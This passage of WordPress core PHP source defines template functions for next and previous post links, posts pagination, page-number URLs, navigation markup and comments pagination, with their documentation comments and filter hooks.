 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function previous_post_link( $format = '&laquo; %link', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_previous_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}

/**
 * Retrieves the next post link that is adjacent to the current post.
 *
 * @since 3.7.0
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string The link URL of the next post in relation to the current post.
 */
function get_next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	return get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, false, $taxonomy );
}

/**
 * Displays the next post link that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @see get_next_post_link()
 *
 * @param string       $format         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $link           Optional. Link permalink format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function next_post_link( $format = '%link &raquo;', $link = '%title', $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) {
	echo get_next_post_link( $format, $link, $in_same_term, $excluded_terms, $taxonomy );
}

/**
 * Retrieves the adjacent post link.
 *
 * Can be either next post link or previous.
 *
 * @since 3.7.0
 *
 * @param string       $format         Link anchor format.
 * @param string       $link           Link permalink format.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded terms IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string The link URL of the previous or next post in relation to the current post.
 */
function get_adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	if ( $previous && is_attachment() ) {
		$post = get_post( get_post()->post_parent );
	} else {
		$post = get_adjacent_post( $in_same_term, $excluded_terms, $previous, $taxonomy );
	}

	if ( ! $post ) {
		$output = '';
	} else {
		$title = $post->post_title;

		if ( empty( $post->post_title ) ) {
			$title = $previous ? __( 'Previous Post' ) : __( 'Next Post' );
		}

		/** This filter is documented in wp-includes/post-template.php */
		$title = apply_filters( 'the_title', $title, $post->ID );

		$date = mysql2date( get_option( 'date_format' ), $post->post_date );
		$rel  = $previous ? 'prev' : 'next';

		$string = '<a href="' . get_permalink( $post ) . '" rel="' . $rel . '">';
		$inlink = str_replace( '%title', $title, $link );
		$inlink = str_replace( '%date', $date, $inlink );
		$inlink = $string . $inlink . '</a>';

		$output = str_replace( '%link', $inlink, $format );
	}

	$adjacent = $previous ? 'previous' : 'next';

	/**
	 * Filters the adjacent post link.
	 *
	 * The dynamic portion of the hook name, `$adjacent`, refers to the type
	 * of adjacency, 'next' or 'previous'.
	 *
	 * Possible hook names include:
	 *
	 *  - `next_post_link`
	 *  - `previous_post_link`
	 *
	 * @since 2.6.0
	 * @since 4.2.0 Added the `$adjacent` parameter.
	 *
	 * @param string         $output   The adjacent post link.
	 * @param string         $format   Link anchor format.
	 * @param string         $link     Link permalink format.
	 * @param WP_Post|string $post     The adjacent post. Empty string if no corresponding post exists.
	 * @param string         $adjacent Whether the post is previous or next.
	 */
	return apply_filters( "{$adjacent}_post_link", $output, $format, $link, $post, $adjacent );
}

/**
 * Displays the adjacent post link.
 *
 * Can be either next post link or previous.
 *
 * @since 2.5.0
 *
 * @param string       $format         Link anchor format.
 * @param string       $link           Link permalink format.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded category IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 */
function adjacent_post_link( $format, $link, $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) {
	echo get_adjacent_post_link( $format, $link, $in_same_term, $excluded_terms, $previous, $taxonomy );
}

/**
 * Retrieves the link for a page number.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int  $pagenum Optional. Page number. Default 1.
 * @param bool $escape  Optional. Whether to escape the URL for display, with esc_url().
 *                      If set to false, prepares the URL with sanitize_url(). Default true.
 * @return string The link URL for the given page number.
 */
function get_pagenum_link( $pagenum = 1, $escape = true ) {
	global $wp_rewrite;

	$pagenum = (int) $pagenum;

	$request = remove_query_arg( 'paged' );

	$home_root = parse_url( home_url() );
	$home_root = ( isset( $home_root['path'] ) ) ? $home_root['path'] : '';
	$home_root = preg_quote( $home_root, '|' );

	$request = preg_replace( '|^' . $home_root . '|i', '', $request );
	$request = preg_replace( '|^/+|', '', $request );

	if ( ! $wp_rewrite->using_permalinks() || is_admin() ) {
		$base = trailingslashit( get_bloginfo( 'url' ) );

		if ( $pagenum > 1 ) {
			$result = add_query_arg( 'paged', $pagenum, $base . $request );
		} else {
			$result = $base . $request;
		}
	} else {
		$qs_regex = '|\?.*?$|';
		preg_match( $qs_regex, $request, $qs_match );

		$parts   = array();
		$parts[] = untrailingslashit( get_bloginfo( 'url' ) );

		if ( ! empty( $qs_match[0] ) ) {
			$query_string = $qs_match[0];
			$request      = preg_replace( $qs_regex, '', $request );
		} else {
			$query_string = '';
		}

		$request = preg_replace( "|$wp_rewrite->pagination_base/\d+/?$|", '', $request );
		$request = preg_replace( '|^' . preg_quote( $wp_rewrite->index, '|' ) . '|i', '', $request );
		$request = ltrim( $request, '/' );

		if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' !== $request ) ) {
			$parts[] = $wp_rewrite->index;
		}

		$parts[] = untrailingslashit( $request );

		if ( $pagenum > 1 ) {
			$parts[] = $wp_rewrite->pagination_base;
			$parts[] = $pagenum;
		}

		$result = user_trailingslashit( implode( '/', array_filter( $parts ) ), 'paged' );
		if ( ! empty( $query_string ) ) {
			$result .= $query_string;
		}
	}

	/**
	 * Filters the page number link for the current request.
	 *
	 * @since 2.5.0
	 * @since 5.2.0 Added the `$pagenum` argument.
	 *
	 * @param string $result  The page number link.
	 * @param int    $pagenum The page number.
	 */
	$result = apply_filters( 'get_pagenum_link', $result, $pagenum );

	if ( $escape ) {
		return esc_url( $result );
	} else {
		return sanitize_url( $result );
	}
}

/**
 * Retrieves the next posts page link.
 *
 * Backported from 2.1.3 to 2.0.10.
 *
 * @since 2.0.10
 *
 * @global int $paged
 *
 * @param int $max_page Optional. Max pages. Default 0.
 * @return string|void The link URL for next posts page.
 */
function get_next_posts_page_link( $max_page = 0 ) {
	global $paged;

	if ( ! is_single() ) {
		if ( ! $paged ) {
			$paged = 1;
		}

		$next_page = (int) $paged + 1;

		if ( ! $max_page || $max_page >= $next_page ) {
			return get_pagenum_link( $next_page );
		}
	}
}

/**
 * Displays or retrieves the next posts page link.
 *
 * @since 0.71
 *
 * @param int  $max_page Optional. Max pages. Default 0.
 * @param bool $display  Optional. Whether to echo the link. Default true.
 * @return string|void The link URL for next posts page if `$display = false`.
 */
function next_posts( $max_page = 0, $display = true ) {
	$link   = get_next_posts_page_link( $max_page );
	$output = $link ? esc_url( $link ) : '';

	if ( $display ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Retrieves the next posts page link.
 *
 * @since 2.7.0
 *
 * @global int      $paged
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $label    Content for link text.
 * @param int    $max_page Optional. Max pages. Default 0.
 * @return string|void HTML-formatted next posts page link.
 */
function get_next_posts_link( $label = null, $max_page = 0 ) {
	global $paged, $wp_query;

	if ( ! $max_page ) {
		$max_page = $wp_query->max_num_pages;
	}

	if ( ! $paged ) {
		$paged = 1;
	}

	$next_page = (int) $paged + 1;

	if ( null === $label ) {
		$label = __( 'Next Page &raquo;' );
	}

	if ( ! is_single() && ( $next_page <= $max_page ) ) {
		/**
		 * Filters the anchor tag attributes for the next posts page link.
		 *
		 * @since 2.7.0
		 *
		 * @param string $attributes Attributes for the anchor tag.
		 */
		$attr = apply_filters( 'next_posts_link_attributes', '' );

		return sprintf(
			'<a href="%1$s" %2$s>%3$s</a>',
			next_posts( $max_page, false ),
			$attr,
			preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
		);
	}
}

/**
 * Displays the next posts page link.
 *
 * @since 0.71
 *
 * @param string $label    Content for link text.
 * @param int    $max_page Optional. Max pages. Default 0.
 */
function next_posts_link( $label = null, $max_page = 0 ) {
	echo get_next_posts_link( $label, $max_page );
}

/**
 * Retrieves the previous posts page link.
 *
 * Will only return string, if not on a single page or post.
 *
 * Backported to 2.0.10 from 2.1.3.
 *
 * @since 2.0.10
 *
 * @global int $paged
 *
 * @return string|void The link for the previous posts page.
 */
function get_previous_posts_page_link() {
	global $paged;

	if ( ! is_single() ) {
		$previous_page = (int) $paged - 1;

		if ( $previous_page < 1 ) {
			$previous_page = 1;
		}

		return get_pagenum_link( $previous_page );
	}
}

/**
 * Displays or retrieves the previous posts page link.
 *
 * @since 0.71
 *
 * @param bool $display Optional. Whether to echo the link. Default true.
 * @return string|void The previous posts page link if `$display = false`.
 */
function previous_posts( $display = true ) {
	$output = esc_url( get_previous_posts_page_link() );

	if ( $display ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Retrieves the previous posts page link.
 *
 * @since 2.7.0
 *
 * @global int $paged
 *
 * @param string $label Optional. Previous page link text.
 * @return string|void HTML-formatted previous page link.
 */
function get_previous_posts_link( $label = null ) {
	global $paged;

	if ( null === $label ) {
		$label = __( '&laquo; Previous Page' );
	}

	if ( ! is_single() && $paged > 1 ) {
		/**
		 * Filters the anchor tag attributes for the previous posts page link.
		 *
		 * @since 2.7.0
		 *
		 * @param string $attributes Attributes for the anchor tag.
		 */
		$attr = apply_filters( 'previous_posts_link_attributes', '' );

		return sprintf(
			'<a href="%1$s" %2$s>%3$s</a>',
			previous_posts( false ),
			$attr,
			preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
		);
	}
}

/**
 * Displays the previous posts page link.
 *
 * @since 0.71
 *
 * @param string $label Optional. Previous page link text.
 */
function previous_posts_link( $label = null ) {
	echo get_previous_posts_link( $label );
}

/**
 * Retrieves the post pages link navigation for previous and next pages.
 *
 * @since 2.8.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|array $args {
 *     Optional. Arguments to build the post pages link navigation.
 *
 *     @type string $sep      Separator character. Default '&#8212;'.
 *     @type string $prelabel Link text to display for the previous page link.
 *                            Default '&laquo; Previous Page'.
 *     @type string $nxtlabel Link text to display for the next page link.
 *                            Default 'Next Page &raquo;'.
 * }
 * @return string The posts link navigation.
 */
function get_posts_nav_link( $args = array() ) {
	global $wp_query;

	$return = '';

	if ( ! is_singular() ) {
		$defaults = array(
			'sep'      => ' &#8212; ',
			'prelabel' => __( '&laquo; Previous Page' ),
			'nxtlabel' => __( 'Next Page &raquo;' ),
		);
		$args     = wp_parse_args( $args, $defaults );

		$max_num_pages = $wp_query->max_num_pages;
		$paged         = get_query_var( 'paged' );

		// Only have sep if there's both prev and next results.
		if ( $paged < 2 || $paged >= $max_num_pages ) {
			$args['sep'] = '';
		}

		if ( $max_num_pages > 1 ) {
			$return  = get_previous_posts_link( $args['prelabel'] );
			$return .= preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $args['sep'] );
			$return .= get_next_posts_link( $args['nxtlabel'] );
		}
	}
	return $return;
}

/**
 * Displays the post pages link navigation for previous and next pages.
 *
 * @since 0.71
 *
 * @param string $sep      Optional. Separator for posts navigation links. Default empty.
 * @param string $prelabel Optional. Label for previous pages. Default empty.
 * @param string $nxtlabel Optional Label for next pages. Default empty.
 */
function posts_nav_link( $sep = '', $prelabel = '', $nxtlabel = '' ) {
	$args = array_filter( compact( 'sep', 'prelabel', 'nxtlabel' ) );
	echo get_posts_nav_link( $args );
}

/**
 * Retrieves the navigation to next/previous post, when applicable.
 *
 * @since 4.1.0
 * @since 4.4.0 Introduced the `in_same_term`, `excluded_terms`, and `taxonomy` arguments.
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @param array $args {
 *     Optional. Default post navigation arguments. Default empty array.
 *
 *     @type string       $prev_text          Anchor text to display in the previous post link.
 *                                            Default '%title'.
 *     @type string       $next_text          Anchor text to display in the next post link.
 *                                            Default '%title'.
 *     @type bool         $in_same_term       Whether link should be in the same taxonomy term.
 *                                            Default false.
 *     @type int[]|string $excluded_terms     Array or comma-separated list of excluded term IDs.
 *                                            Default empty.
 *     @type string       $taxonomy           Taxonomy, if `$in_same_term` is true. Default 'category'.
 *     @type string       $screen_reader_text Screen reader text for the nav element.
 *                                            Default 'Post navigation'.
 *     @type string       $aria_label         ARIA label text for the nav element. Default 'Posts'.
 *     @type string       $class              Custom class for the nav element. Default 'post-navigation'.
 * }
 * @return string Markup for post links.
 */
function get_the_post_navigation( $args = array() ) {
	// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
	if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
		$args['aria_label'] = $args['screen_reader_text'];
	}

	$args = wp_parse_args(
		$args,
		array(
			'prev_text'          => '%title',
			'next_text'          => '%title',
			'in_same_term'       => false,
			'excluded_terms'     => '',
			'taxonomy'           => 'category',
			'screen_reader_text' => __( 'Post navigation' ),
			'aria_label'         => __( 'Posts' ),
			'class'              => 'post-navigation',
		)
	);

	$navigation = '';

	$previous = get_previous_post_link(
		'<div class="nav-previous">%link</div>',
		$args['prev_text'],
		$args['in_same_term'],
		$args['excluded_terms'],
		$args['taxonomy']
	);

	$next = get_next_post_link(
		'<div class="nav-next">%link</div>',
		$args['next_text'],
		$args['in_same_term'],
		$args['excluded_terms'],
		$args['taxonomy']
	);

	// Only add markup if there's somewhere to navigate to.
	if ( $previous || $next ) {
		$navigation = _navigation_markup( $previous . $next, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays the navigation to next/previous post, when applicable.
 *
 * @since 4.1.0
 *
 * @param array $args Optional. See get_the_post_navigation() for available arguments.
 *                    Default empty array.
 */
function the_post_navigation( $args = array() ) {
	echo get_the_post_navigation( $args );
}

/**
 * Returns the navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array $args {
 *     Optional. Default posts navigation arguments. Default empty array.
 *
 *     @type string $prev_text          Anchor text to display in the previous posts link.
 *                                      Default 'Older posts'.
 *     @type string $next_text          Anchor text to display in the next posts link.
 *                                      Default 'Newer posts'.
 *     @type string $screen_reader_text Screen reader text for the nav element.
 *                                      Default 'Posts navigation'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Posts'.
 *     @type string $class              Custom class for the nav element. Default 'posts-navigation'.
 * }
 * @return string Markup for posts links.
 */
function get_the_posts_navigation( $args = array() ) {
	global $wp_query;

	$navigation = '';

	// Don't print empty markup if there's only one page.
	if ( $wp_query->max_num_pages > 1 ) {
		// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
		if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
			$args['aria_label'] = $args['screen_reader_text'];
		}

		$args = wp_parse_args(
			$args,
			array(
				'prev_text'          => __( 'Older posts' ),
				'next_text'          => __( 'Newer posts' ),
				'screen_reader_text' => __( 'Posts navigation' ),
				'aria_label'         => __( 'Posts' ),
				'class'              => 'posts-navigation',
			)
		);

		$next_link = get_previous_posts_link( $args['next_text'] );
		$prev_link = get_next_posts_link( $args['prev_text'] );

		if ( $prev_link ) {
			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
		}

		if ( $next_link ) {
			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
		}

		$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays the navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 *
 * @param array $args Optional. See get_the_posts_navigation() for available arguments.
 *                    Default empty array.
 */
function the_posts_navigation( $args = array() ) {
	echo get_the_posts_navigation( $args );
}

/**
 * Retrieves a paginated navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array $args {
 *     Optional. Default pagination arguments, see paginate_links().
 *
 *     @type string $screen_reader_text Screen reader text for navigation element.
 *                                      Default 'Posts pagination'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Posts pagination'.
 *     @type string $class              Custom class for the nav element. Default 'pagination'.
 * }
 * @return string Markup for pagination links.
 */
function get_the_posts_pagination( $args = array() ) {
	global $wp_query;

	$navigation = '';

	// Don't print empty markup if there's only one page.
	if ( $wp_query->max_num_pages > 1 ) {
		// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
		if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
			$args['aria_label'] = $args['screen_reader_text'];
		}

		$args = wp_parse_args(
			$args,
			array(
				'mid_size'           => 1,
				'prev_text'          => _x( 'Previous', 'previous set of posts' ),
				'next_text'          => _x( 'Next', 'next set of posts' ),
				'screen_reader_text' => __( 'Posts pagination' ),
				'aria_label'         => __( 'Posts pagination' ),
				'class'              => 'pagination',
			)
		);

		/**
		 * Filters the arguments for posts pagination links.
		 *
		 * @since 6.1.0
		 *
		 * @param array $args {
		 *     Optional. Default pagination arguments, see paginate_links().
		 *
		 *     @type string $screen_reader_text Screen reader text for navigation element.
		 *                                      Default 'Posts navigation'.
		 *     @type string $aria_label         ARIA label text for the nav element. Default 'Posts'.
		 *     @type string $class              Custom class for the nav element. Default 'pagination'.
		 * }
		 */
		$args = apply_filters( 'the_posts_pagination_args', $args );

		// Make sure we get a string back. Plain is the next best thing.
		if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
			$args['type'] = 'plain';
		}

		// Set up paginated links.
		$links = paginate_links( $args );

		if ( $links ) {
			$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
		}
	}

	return $navigation;
}

/**
 * Displays a paginated navigation to next/previous set of posts, when applicable.
 *
 * @since 4.1.0
 *
 * @param array $args Optional. See get_the_posts_pagination() for available arguments.
 *                    Default empty array.
 */
function the_posts_pagination( $args = array() ) {
	echo get_the_posts_pagination( $args );
}

/**
 * Wraps passed links in navigational markup.
 *
 * @since 4.1.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @access private
 *
 * @param string $links              Navigational links.
 * @param string $css_class          Optional. Custom class for the nav element.
 *                                   Default 'posts-navigation'.
 * @param string $screen_reader_text Optional. Screen reader text for the nav element.
 *                                   Default 'Posts navigation'.
 * @param string $aria_label         Optional. ARIA label for the nav element.
 *                                   Defaults to the value of `$screen_reader_text`.
 * @return string Navigation template tag.
 */
function _navigation_markup( $links, $css_class = 'posts-navigation', $screen_reader_text = '', $aria_label = '' ) {
	if ( empty( $screen_reader_text ) ) {
		$screen_reader_text = /* translators: Hidden accessibility text. */ __( 'Posts navigation' );
	}
	if ( empty( $aria_label ) ) {
		$aria_label = $screen_reader_text;
	}

	$template = '
	<nav class="navigation %1$s" aria-label="%4$s">
		<h2 class="screen-reader-text">%2$s</h2>
		<div class="nav-links">%3$s</div>
	</nav>';

	/**
	 * Filters the navigation markup template.
	 *
	 * Note: The filtered template HTML must contain specifiers for the navigation
	 * class (%1$s), the screen-reader-text value (%2$s), placement of the navigation
	 * links (%3$s), and ARIA label text if screen-reader-text does not fit that (%4$s):
	 *
	 *     <nav class="navigation %1$s" aria-label="%4$s">
	 *         <h2 class="screen-reader-text">%2$s</h2>
	 *         <div class="nav-links">%3$s</div>
	 *     </nav>
	 *
	 * @since 4.4.0
	 *
	 * @param string $template  The default template.
	 * @param string $css_class The class passed by the calling function.
	 */
	$template = apply_filters( 'navigation_markup_template', $template, $css_class );

	return sprintf( $template, sanitize_html_class( $css_class ), esc_html( $screen_reader_text ), $links, esc_attr( $aria_label ) );
}

/**
 * Retrieves the comments page number link.
 *
 * @since 2.7.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param int $pagenum  Optional. Page number. Default 1.
 * @param int $max_page Optional. The maximum number of comment pages. Default 0.
 * @return string The comments page number link URL.
 */
function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) {
	global $wp_rewrite;

	$pagenum  = (int) $pagenum;
	$max_page = (int) $max_page;

	$result = get_permalink();

	if ( 'newest' === get_option( 'default_comments_page' ) ) {
		if ( $pagenum !== $max_page ) {
			if ( $wp_rewrite->using_permalinks() ) {
				$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
			} else {
				$result = add_query_arg( 'cpage', $pagenum, $result );
			}
		}
	} elseif ( $pagenum > 1 ) {
		if ( $wp_rewrite->using_permalinks() ) {
			$result = user_trailingslashit( trailingslashit( $result ) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged' );
		} else {
			$result = add_query_arg( 'cpage', $pagenum, $result );
		}
	}

	$result .= '#comments';

	/**
	 * Filters the comments page number link for the current request.
	 *
	 * @since 2.7.0
	 *
	 * @param string $result The comments page number link.
	 */
	return apply_filters( 'get_comments_pagenum_link', $result );
}

/**
 * Retrieves the link to the next comments page.
 *
 * @since 2.7.1
 * @since 6.7.0 Added the `page` parameter.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string   $label    Optional. Label for link text. Default empty.
 * @param int      $max_page Optional. Max page. Default 0.
 * @param int|null $page     Optional. Page number. Default null.
 * @return string|void HTML-formatted link for the next page of comments.
 */
function get_next_comments_link( $label = '', $max_page = 0, $page = null ) {
	global $wp_query;

	if ( ! is_singular() ) {
		return;
	}

	if ( is_null( $page ) ) {
		$page = get_query_var( 'cpage' );
	}

	if ( ! $page ) {
		$page = 1;
	}

	$next_page = (int) $page + 1;

	if ( empty( $max_page ) ) {
		$max_page = $wp_query->max_num_comment_pages;
	}

	if ( empty( $max_page ) ) {
		$max_page = get_comment_pages_count();
	}

	if ( $next_page > $max_page ) {
		return;
	}

	if ( empty( $label ) ) {
		$label = __( 'Newer Comments &raquo;' );
	}

	/**
	 * Filters the anchor tag attributes for the next comments page link.
	 *
	 * @since 2.7.0
	 *
	 * @param string $attributes Attributes for the anchor tag.
	 */
	$attr = apply_filters( 'next_comments_link_attributes', '' );

	return sprintf(
		'<a href="%1$s" %2$s>%3$s</a>',
		esc_url( get_comments_pagenum_link( $next_page, $max_page ) ),
		$attr,
		preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
	);
}

/**
 * Displays the link to the next comments page.
 *
 * @since 2.7.0
 *
 * @param string $label    Optional. Label for link text. Default empty.
 * @param int    $max_page Optional. Max page. Default 0.
 */
function next_comments_link( $label = '', $max_page = 0 ) {
	echo get_next_comments_link( $label, $max_page );
}

/**
 * Retrieves the link to the previous comments page.
 *
 * @since 2.7.1
 * @since 6.7.0 Added the `page` parameter.
 *
 * @param string   $label Optional. Label for comments link text. Default empty.
 * @param int|null $page  Optional. Page number. Default null.
 * @return string|void HTML-formatted link for the previous page of comments.
 */
function get_previous_comments_link( $label = '', $page = null ) {
	if ( ! is_singular() ) {
		return;
	}

	if ( is_null( $page ) ) {
		$page = get_query_var( 'cpage' );
	}

	if ( (int) $page <= 1 ) {
		return;
	}

	$previous_page = (int) $page - 1;

	if ( empty( $label ) ) {
		$label = __( '&laquo; Older Comments' );
	}

	/**
	 * Filters the anchor tag attributes for the previous comments page link.
	 *
	 * @since 2.7.0
	 *
	 * @param string $attributes Attributes for the anchor tag.
	 */
	$attr = apply_filters( 'previous_comments_link_attributes', '' );

	return sprintf(
		'<a href="%1$s" %2$s>%3$s</a>',
		esc_url( get_comments_pagenum_link( $previous_page ) ),
		$attr,
		preg_replace( '/&([^#])(?![a-z]{1,8};)/i', '&#038;$1', $label )
	);
}

/**
 * Displays the link to the previous comments page.
 *
 * @since 2.7.0
 *
 * @param string $label Optional. Label for comments link text. Default empty.
 */
function previous_comments_link( $label = '' ) {
	echo get_previous_comments_link( $label );
}

/**
 * Displays or retrieves pagination links for the comments on the current post.
 *
 * @see paginate_links()
 * @since 2.7.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string|array $args Optional args. See paginate_links(). Default empty array.
 * @return void|string|array Void if 'echo' argument is true and 'type' is not an array,
 *                           or if the query is not for an existing single post of any post type.
 *                           Otherwise, markup for comment page links or array of comment page links,
 *                           depending on 'type' argument.
 */
function paginate_comments_links( $args = array() ) {
	global $wp_rewrite;

	if ( ! is_singular() ) {
		return;
	}

	$page = get_query_var( 'cpage' );
	if ( ! $page ) {
		$page = 1;
	}
	$max_page = get_comment_pages_count();
	$defaults = array(
		'base'         => add_query_arg( 'cpage', '%#%' ),
		'format'       => '',
		'total'        => $max_page,
		'current'      => $page,
		'echo'         => true,
		'type'         => 'plain',
		'add_fragment' => '#comments',
	);
	if ( $wp_rewrite->using_permalinks() ) {
		$defaults['base'] = user_trailingslashit( trailingslashit( get_permalink() ) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged' );
	}

	$args       = wp_parse_args( $args, $defaults );
	$page_links = paginate_links( $args );

	if ( $args['echo'] && 'array' !== $args['type'] ) {
		echo $page_links;
	} else {
		return $page_links;
	}
}

/**
 * Retrieves navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @param array $args {
 *     Optional. Default comments navigation arguments.
 *
 *     @type string $prev_text          Anchor text to display in the previous comments link.
 *                                      Default 'Older comments'.
 *     @type string $next_text          Anchor text to display in the next comments link.
 *                                      Default 'Newer comments'.
 *     @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments navigation'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Comments'.
 *     @type string $class              Custom class for the nav element. Default 'comment-navigation'.
 * }
 * @return string Markup for comments links.
 */
function get_the_comments_navigation( $args = array() ) {
	$navigation = '';

	// Are there comments to navigate through?
	if ( get_comment_pages_count() > 1 ) {
		// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
		if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
			$args['aria_label'] = $args['screen_reader_text'];
		}

		$args = wp_parse_args(
			$args,
			array(
				'prev_text'          => __( 'Older comments' ),
				'next_text'          => __( 'Newer comments' ),
				'screen_reader_text' => __( 'Comments navigation' ),
				'aria_label'         => __( 'Comments' ),
				'class'              => 'comment-navigation',
			)
		);

		$prev_link = get_previous_comments_link( $args['prev_text'] );
		$next_link = get_next_comments_link( $args['next_text'] );

		if ( $prev_link ) {
			$navigation .= '<div class="nav-previous">' . $prev_link . '</div>';
		}

		if ( $next_link ) {
			$navigation .= '<div class="nav-next">' . $next_link . '</div>';
		}

		$navigation = _navigation_markup( $navigation, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 *
 * @param array $args See get_the_comments_navigation() for available arguments. Default empty array.
 */
function the_comments_navigation( $args = array() ) {
	echo get_the_comments_navigation( $args );
}

/**
 * Retrieves a paginated navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 * @since 5.3.0 Added the `aria_label` parameter.
 * @since 5.5.0 Added the `class` parameter.
 *
 * @see paginate_comments_links()
 *
 * @param array $args {
 *     Optional. Default pagination arguments.
 *
 *     @type string $screen_reader_text Screen reader text for the nav element. Default 'Comments pagination'.
 *     @type string $aria_label         ARIA label text for the nav element. Default 'Comments pagination'.
 *     @type string $class              Custom class for the nav element. Default 'comments-pagination'.
 * }
 * @return string Markup for pagination links.
 */
function get_the_comments_pagination( $args = array() ) {
	$navigation = '';

	// Make sure the nav element has an aria-label attribute: fallback to the screen reader text.
	if ( ! empty( $args['screen_reader_text'] ) && empty( $args['aria_label'] ) ) {
		$args['aria_label'] = $args['screen_reader_text'];
	}

	$args         = wp_parse_args(
		$args,
		array(
			'screen_reader_text' => __( 'Comments pagination' ),
			'aria_label'         => __( 'Comments pagination' ),
			'class'              => 'comments-pagination',
		)
	);
	$args['echo'] = false;

	// Make sure we get a string back. Plain is the next best thing.
	if ( isset( $args['type'] ) && 'array' === $args['type'] ) {
		$args['type'] = 'plain';
	}

	$links = paginate_comments_links( $args );

	if ( $links ) {
		$navigation = _navigation_markup( $links, $args['class'], $args['screen_reader_text'], $args['aria_label'] );
	}

	return $navigation;
}

/**
 * Displays a paginated navigation to next/previous set of comments, when applicable.
 *
 * @since 4.4.0
 *
